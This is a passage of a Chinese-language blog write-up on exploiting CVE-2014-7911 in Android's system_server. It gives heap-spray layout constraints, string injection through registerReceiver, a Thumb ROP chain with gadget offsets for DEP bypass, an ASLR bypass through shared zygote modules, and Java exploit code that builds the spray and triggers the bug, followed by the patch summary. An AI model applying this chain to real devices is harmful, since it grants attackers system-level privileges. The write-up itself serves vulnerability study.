r0 = [r4 + 8] = [[r0 + 4] + 8] = [shellcode_addr - 4 + 8] = [shellcode_addr + 4]
r3 = [r0] = [[shellcode_addr + 4]]
r2 = [r3 + 12]

为了布局方便和流程控制,最后让r2指向shellcode_addr则有
r2 = [shellcode_addr] = [shellcode_addr -12 + 12]
得出r3 = shellcode_addr -12 = [mOrgue + 12]

要使[[shellcode_addr + 4]] = [mOrgue + 12]
则有[shellcode_addr + 4] == mOrgue + 12

综上所述,堆块布局的两个限制条件为:

shellcode_addr - 4 == 1
[shellcode_addr + 4] == mOrgue + 12

将大量的这样布局的堆块喷射到systemserver中,一旦mOrgue值命中滑板指令,就会跳入shellcodeaddr地址去执行代码。

代码注入

堆块布局完成后,如何向sysetemserver的dalvik-heap空间注入这些字符串?
system
server向android系统提供绝大多数的系统服务,通过这些服务的一些特定方法可以向systemserver传入String,同时systemserver把这些String存储在Dalvik-heap中,在GC之前都不会销毁。例如android广播服务,android应用程序可以把广播接收器注册到ActivityManagerService中去,这个过程就完成了数据由应用层到service层的传输。

android.content.Context中的registerReceiver方法

public Intent registerReceiver (BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)

其中第三个参数broadcastPermission为String类型,可以通过这个参数将数据注入到system_service中。

当我们调用registerReceiver方法时,调用流程依次为:

ContextWrapper.registerReceiver ->
ContextImpl.registerReceiver ->
ContextImpl.registerReceiverInternal ->
ActivityManagerProxy.registerReceiver ->
ActivityManagerService.registerReceiver

该调用链表明可从某个app的Context通过binder IPC跨进程调用systemserver的ActivityManagerService.registerReceiver方法,其中ActivityManagerService常驻systemserver进程空间。我们再看看ActivityManagerService的registerReceiver方法


public Intent registerReceiver(IApplicationThread caller, String callerPackage, IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {
enforceNotIsolatedCaller("registerReceiver");
    int callingUid;
    int callingPid;
    synchronized(this) {
        ...
        ReceiverList rl = (ReceiverList)mRegisteredReceivers.get(receiver.asBinder());
        ...
        BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage, permission, callingUid, userId); // 在Dalvik-heap中分配内存
        rl.add(bf);
        ...
        return sticky;
    }
}

在ActivityManagerService的registerReceiver中,通过new将在systemserver进程的Dalvik-heap堆中分配内存,传入的permission字符串将常驻systemserver进程空间。这样,通过调用某些系统Api,代码注入的问题就解决了。

其中registerReceiver具体实现细节可参考Android应用程序注册广播接收器(registerReceiver)的过程分析

DEP Bypass

由于Android使用了DEP,因此Dalvik-heap上的内存不能用来执行,这就必须使用ROP技术,使PC跳转到一系列合法指令序列(Gadget),并由这些Gadget拼凑而成shellcode,shellcode中执行system函数,然后通过system函数调用外部程序。

一个寻找ROP链的工具
需要注意的是,在寻找ROP跳转指令时候,一定要从基础模块(会被zygote加载的模块)中寻找,保证内存布局是一致的,如libc,libandroid_runtime等。

为了调用system函数,需要控制r0寄存器,指向我们预先布置的命令行字符串作为参数。这里需要使用Stack Pivot技术,将栈顶指针SP指向控制的Dalvik-heap堆中的数据,这将为控制PC寄存器、以及在栈上布置数据带来便利,执行命令

python ./ROPgadget.py --thumb --binary /Users/idhyt/Downloads/libwebviewchromium.so > gadgets.txt

然后就可以寻找合适的代码片段,寻找的时候要有目的性,首先第一条指令一定尽量是我们能控制的指令,通过前边dump的崩溃信息可以看到,r0,r5,r7,r8这4个寄存器的值都是mOrgue,即这4个寄存器可控,所以第一条指令可以重点查看是这4个寄存器操作的指令,下边就是一系列繁杂的体力活,直接用exploit中的ROP进行说明。

gadget1: libwebviewchromium.so(0x0070a93c)

ldr r7, [r5]    // r5 = mOrgue, r7 = [mOrgue] = shellcode_addr
mov r0, r5  // r0 = mOrgue
ldr r1, [r7, #8]    // r1 = [r7 + 8] = [shellcode_addr + 8]
blx r1  // 跳转到[shellcode_addr + 8]执行

gadget2: libdvm.so(0x000664c4)

add.w r7, r7, #8    // r7 = r7 + 8 = shellcode_addr + 8
mov sp, r7  // sp = r7 = shellcode_addr + 8
pop {r4, r5, r7, pc}    // r4=[shellcode_addr + 8], r5=[shellcode_addr + 12], r7=[shellcode_addr + 16], pc=[shellcode_addr + 20], 跳转到pc执行

gadget3: libwebviewchromium.so(0x0030c4b8)

mov r0, sp  //  上边sp=shellcode_addr + 8,然后pop出4个寄存器,所以sp=shellcode_addr + 8 + 4*4 = shellcode_addr + 24
blx r5  //  r5 = [shellcode_addr + 12] 即跳转到该处执行代码

最后一步要能执行system命令,需要r0 = system参数,r5system地址,所以得出

[shellcode_addr + 24] = system参数
[shellcode_addr + 12] = system地址

结合堆块布局里边的约束条件

shellcode_addr - 4 == 1
[shellcode_addr + 4] == mOrgue + 12

最终的堆块数据布局如下所示:

exploit-cve-2014-7911-exp-2

最后,构造ROP Chain还需要考虑一个细节,ARM有两种模式Thumb和ARM模式,我们使用的Gadgets均为Thumb模式,因此其地址的最低位均需要加1

ASLR Bypass

Android自4.1始开始启用ASLR(地址随机化),任何程序自身的的地址空间在每一次运行时都将发生变化。但在Android中,攻击程序、systemserver皆由zygote进程fork而来,因此攻击程序与systemserver共享同样的基础模块和dalvik-heap。只要在使用dalvik heapspray和构建ROP Gadget时,只使用libc、libdvm这些基础模块,就无需考虑地址随机化的问题。

Android和Linux一样提供了基于/proc的"伪文件"系统来作为查看用户进程内存映像的接口(cat /proc/pid/maps)。可以说,这是Android系统内核层开放给用户层关于进程内存信息的一扇窗户。通过它,我们可以查看到当前进程空间的内存映射情况,模块加载情况以及虚拟地址和内存读写执行(rwxp)属性等。如下图,查看两个不同进程的堆内存分布,发现基础模块堆基址都是相同的。
exploit-cve-2014-7911-exp-3

其中,各个字段说明如下(来自stackoverflow):

Each row in /proc/$PID/maps describes a region of contiguous virtual memory in a process or thread. Each row has the following fields:
address perms offset dev inode pathname
08048000-08056000 r-xp 00000000 03:0c 64593 /usr/sbin/gpm
address - This is the starting and ending address of the region in the process’s address space
permissions - This describes how pages in the region can be accessed. There are four different permissions: read, write, execute, and shared. If read/write/execute are disabled, a ‘-’ will appear instead of the ‘r’/‘w’/‘x’. If a region is not shared, it is private, so a ‘p’ will appear instead of an ’s'. If the process attempts to access memory in a way that is not permitted, a segmentation fault is generated. Permissions can be changed using the mprotect system call.
offset - If the region was mapped from a file (using mmap), this is the offset in the file where the mapping begins. If the memory was not mapped from a file, it’s just 0.
device - If the region was mapped from a file, this is the major and minor device number (in hex) where the file lives.
inode - If the region was mapped from a file, this is the file number.
pathname - If the region was mapped from a file, this is the name of the file. This field is blank for anonymous mapped regions. There are also special regions with names like [heap], [stack], or [vdso]. [vdso] stands for virtual dynamic shared object. It’s used by system calls to switch to kernel mode. Here’s a good article about it.
You might notice a lot of anonymous regions. These are usually created by mmap but are not attached to any file. They are used for a lot of miscellaneous things like shared memory or buffers not allocated on the heap. For instance, I think the pthread library uses anonymous mapped regions as stacks for new threads.

漏洞利用代码

利用过程最关键堆块布局流程代码如下:

protected void exploitBegin() {

    int dalvikHeapAddr = getBase("/dev/ashmem/dalvik-heap");
    int libcAddr = getBase("/system/lib/libc.so");
    int libDvmAddr = getBase("/system/lib/libdvm.so");
    int libWebViewChromiumAddr = getBase("/system/lib/libwebviewchromium.so");
    int staticAddr = dalvikHeapAddr + 0x01001000;

    Log.d(TAG, "staticAddr = 0x" + Integer.toHexString(staticAddr));

    int gadgetChunkOffset = sprayChunkLength - gadgetChunkLength;
    // java中char占两个字节
    char[] bytes = new char[sprayChunkLength / 2];
    int value;
    for (int i = 0; i < gadgetChunkOffset / 2; i += 2) {
        value = staticAddr + gadgetChunkOffset - (2 * i);
        // 低位
        bytes[i] = (char) value;
        // 高位
        bytes[i + 1] = (char) ((value >> 16) & 0xffff);
    }

    // 约束条件 shellcode_addr - 4 == 1
    value = 1;
    bytes[gadgetChunkOffset / 2 - 2] = (char) value;
    bytes[gadgetChunkOffset / 2 - 1] = (char) ((value >> 16) & 0xffff);

    // 约束条件 [shellcode_addr + 4] == mOrgue + 12
    value = staticAddr + 0xC;
    bytes[gadgetChunkOffset / 2 + 2] = (char) value;
    bytes[gadgetChunkOffset / 2 + 3] = (char) ((value >> 16) & 0xffff);

    // shellcode数据布局 [shellcode_addr] = gadget1_addr
    value = libWebViewChromiumAddr + rop_chain[0]; // libwebviewchromium.so(0x0070a93c): ldr r7, [r5] ; mov r0, r5 ; ldr r1, [r7, #8] ; blx r1
    bytes[gadgetChunkOffset / 2] = (char) value;
    bytes[gadgetChunkOffset / 2 + 1] = (char) ((value >> 16) & 0xffff);

    // shellcode数据布局 [shellcode_addr + 8] = gadget2_addr
    value = libDvmAddr + rop_chain[1]; // libdvm.so(0x000664c4): add.w r7, r7, #8 ; mov sp, r7 ; pop {r4, r5, r7, pc}
    bytes[gadgetChunkOffset / 2 + 4] = (char) value;
    bytes[gadgetChunkOffset / 2 + 5] = (char) ((value >> 16) & 0xffff);

    // shellcode数据布局 [shellcode_addr + 12] = system_addr
    value = libcAddr + rop_chain[2]; // system
    bytes[gadgetChunkOffset / 2 + 6] = (char) value;
    bytes[gadgetChunkOffset / 2 + 7] = (char) ((value >> 16) & 0xffff);

    // shellcode数据布局 [shellcode_addr + 20] = gadget3_addr
    value = libWebViewChromiumAddr + rop_chain[3]; // libwebviewchromium.so(0x0030c4b8): mov r0, sp ; blx r5
    bytes[gadgetChunkOffset / 2 + 10] = (char) value;
    bytes[gadgetChunkOffset / 2 + 11] = (char) ((value >> 16) & 0xffff);

    // system_param cmd = "id >/data/exploit.txt"
    int[] values = stringToInt(cmd);
    for (int i = 0; i < values.length; i++) {
        bytes[gadgetChunkOffset / 2 + 12 + i * 2] = (char) values[i];
        bytes[gadgetChunkOffset / 2 + 13 + i * 2] = (char) ((values[i] >> 16) & 0xffff);
    }
    
    // 堆喷
    String str = String.valueOf(bytes);
    for (int i = 0; i < 2000; i++) {
        heapSpary(str);
        if (i % 100 == 0) {
            Log.d(TAG, "heap sparying... " + i);
        }
    }
    
    // 触发
    exploit(staticAddr);
}

利用代码详见:CVE-2014-7911_poc
将利用代码中的system参数即String cmd改为id >/data/exploit.txt,这条命令将获取用户UID和GID,并以system权限将其写入/data/exploit.txt文件中。执行过如下图所示:
exploit-cve-2014-7911-exp-3

修复

修复代码涉及与反序列化相关的 ObjectInputStream.java、ObjectStreamClass.java、ObjectStreamConstants.java、SerializationTest.java等文件。主要加了三种检查:

  1. 检查反序列化的类是否仍然满足序列化的需求;
  2. 检查反序列化的类的类型是否与stream中所持有的类型信息 (enum, serializable, externalizable)一致
  3. 在某些情形下,延迟类的静态初始化,直到对序列化流的内容检查完成。

参考

CVE-2014-7911安卓本地提权漏洞详细分析

没有评论:

发表评论

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...